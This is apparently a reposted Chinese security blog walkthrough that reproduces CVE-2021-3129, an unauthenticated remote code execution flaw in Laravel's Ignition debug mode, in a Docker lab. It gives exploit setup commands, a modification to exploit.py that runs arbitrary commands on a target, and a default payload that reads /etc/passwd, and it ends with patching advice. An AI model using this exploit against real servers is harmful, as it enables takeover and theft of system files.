0x00 简介
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),旨在实现的Web软件的MVC架构,它可以让开发者从面条一样杂乱的代码中解脱出来,帮助构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
在Laravel中已经具有了一套高级的PHP ActiveRecord实现 — Eloquent ORM。它能方便的将“约束(constraints)”应用到关系的双方,这样开发者就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。
0x01 漏洞概述
Laravel <= 8.4.2 存在远程代码执行漏洞,当Laravel开启了Debug模式时,由于Laravel自带的2.5.2之前的Ignition功能的某些接口和函数存在过滤不严,未经过身份验证的远程攻击者可以发起恶意请求,通过构造恶意Log文件等方式触发phar反序列化,从而造成远程代码执行,控制服务器。
0x02 影响版本
Laravel<=8.4.2
Ignition<2.5.2
0x03 环境搭建
1.使用github已经搭建好的环境进行复现。
gitclone git://github.com/SNCKER/CVE-2021-3129
2.切换到刚刚下载的目录,执行以下命令即可自动完成环境搭建和启动。
docker-compose up -d
3.浏览器访问 http://192.168.141.131:8888,出现如下界面。
点击Generate app key,发送请求,在配置文件中配置了一个加密key。
再刷新一下界面,出现以下内容即搭建成功。
0x04 漏洞复现
1.github上的环境附带exp,使用vim打开查看,其默认目标为本地,执行”cat /etc/passwd”命令
2.在执行exp之前,需要下载phpggc工具,phpggc要和exploit.py在放同一文件夹内
gitclone git://github.com/ambionics/phpggc.git
3.执行如下代码,即可默认查看 /etc/passwd 文件
python3 exploit.py
4.简单修改一下 exploit.py 脚本即可执行任意命令
Vim打开脚本,首先在exploit.py开头import sys库
主函数改为如下内容(注意缩进)
args= sys.argv
url= args[1]
command= args[2]
Exp(url, command)
运行如下指令,第1个参数即为目标ip,第2个参数即为想要执行的命令
python3 exploit.py http://127.0.0.1:8888 'ifconfig'
0x05 防护建议
1.使用白名单限制相关web项目的访问来降低风险;
2.将 Laravel 框架升级至8.4.3及其以上版本,或者将facade ignition组件升级至 2.5.2 及其以上版本。
来源:freebuf.com 2021-07-13 00:44:43 by: 17608406504
相关推荐: 批量导入快速生成题库,快考题,线上考试得力助手 – 作者:xiaomings
快考题在线考试系统满足不同行业不同场景的考试考核考评需求,助力企业构建企业培训考评,帮助企业提升人才培养效果,增加线上培训渠道,提升企业软实力。快考题在线考试系统致力于提供多模式的功能完善的在线考试解决方案,无论是人员、题库、组卷、考试、成绩、监控、成绩还是统…
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666